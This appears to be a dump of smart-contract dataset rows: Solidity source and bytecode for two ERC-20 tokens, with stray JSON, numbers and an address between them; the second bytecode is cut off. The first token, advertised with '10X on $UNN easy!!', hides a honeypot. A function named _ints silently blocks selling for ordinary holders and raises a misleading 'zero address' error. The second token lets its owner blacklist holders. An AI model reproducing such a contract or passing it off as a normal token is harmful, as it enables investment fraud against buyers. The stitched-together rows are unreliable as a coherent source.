//--------------------------------------------------- //|_| |\| |\| //OURWebsite:https://unn.fund //10X on $UNN easy!! //--------------------------------------------------- pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _ErcTokens(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c1d365ca840e2de16b8d5a65cb97ae5f206e5b4bc8b09c56cc291d7f05218b1f64736f6c63430006060033
{"success": true, "error": null, "results": {}}
5,048
0xcd06f53cacd0e71f8b96b0fd463ff05cd44840a5
/** */ // SPDX-License-Identifier: UNLICENSED // TG: http://t.me/mspaceinu // Website: http://mspaceinu.com/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MSPACEINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "MSpaceINU"; string private constant _symbol = "MSPACEINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x2F3508921424986e6220bf479108Fd070CF8E8dC); _buyTax = 7; _sellTax = 7; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 1_000_001 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 90_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034a578063c3c8cd801461036a578063c9567bf91461037f578063dbe8272c14610394578063dc1052e2146103b4578063dd62ed3e146103d457600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610315578063a9059cbb1461032a57600080fd5b8063273123b7116100f2578063273123b714610215578063313ce5671461023557806346df33b7146102515780636fc3eaec1461027157806370a082311461028657600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae5780631bbae6e0146101d357806323b872dd146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820190915260098152684d5370616365494e5560b81b60208201525b604051610175919061189d565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611724565b61041a565b6040519015158152602001610175565b3480156101ba57600080fd5b5067016345785d8a00005b604051908152602001610175565b3480156101df57600080fd5b506101f36101ee366004611856565b610431565b005b34801561020157600080fd5b5061019e6102103660046116e3565b61047d565b34801561022157600080fd5b506101f3610230366004611670565b6104e6565b34801561024157600080fd5b5060405160098152602001610175565b34801561025d57600080fd5b506101f361026c36600461181c565b610531565b34801561027d57600080fd5b506101f3610579565b34801561029257600080fd5b506101c56102a1366004611670565b6105ad565b3480156102b257600080fd5b506101f36105cf565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102ef57600080fd5b506040805180820190915260098152684d5350414345494e5560b81b6020820152610168565b34801561032157600080fd5b506101f3610643565b34801561033657600080fd5b5061019e610345366004611724565b610882565b34801561035657600080fd5b506101f3610365366004611750565b61088f565b34801561037657600080fd5b506101f3610925565b34801561038b57600080fd5b506101f3610965565b3480156103a057600080fd5b506101f36103af366004611856565b610b2b565b3480156103c057600080fd5b506101f36103cf366004611856565b610b63565b3480156103e057600080fd5b506101c56103ef3660046116aa565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610427338484610b9b565b5060015b92915050565b6000546001600160a01b031633146104645760405162461bcd60e51b815260040161045b906118f2565b60405180910390fd5b67013fbe85edc9000081111561047a5760108190555b50565b600061048a848484610cbf565b6104dc84336104d785604051806060016040528060288152602001611a89602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f7a565b610b9b565b5060019392505050565b6000546001600160a01b031633146105105760405162461bcd60e51b815260040161045b906118f2565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055b5760405162461bcd60e51b815260040161045b906118f2565b600f805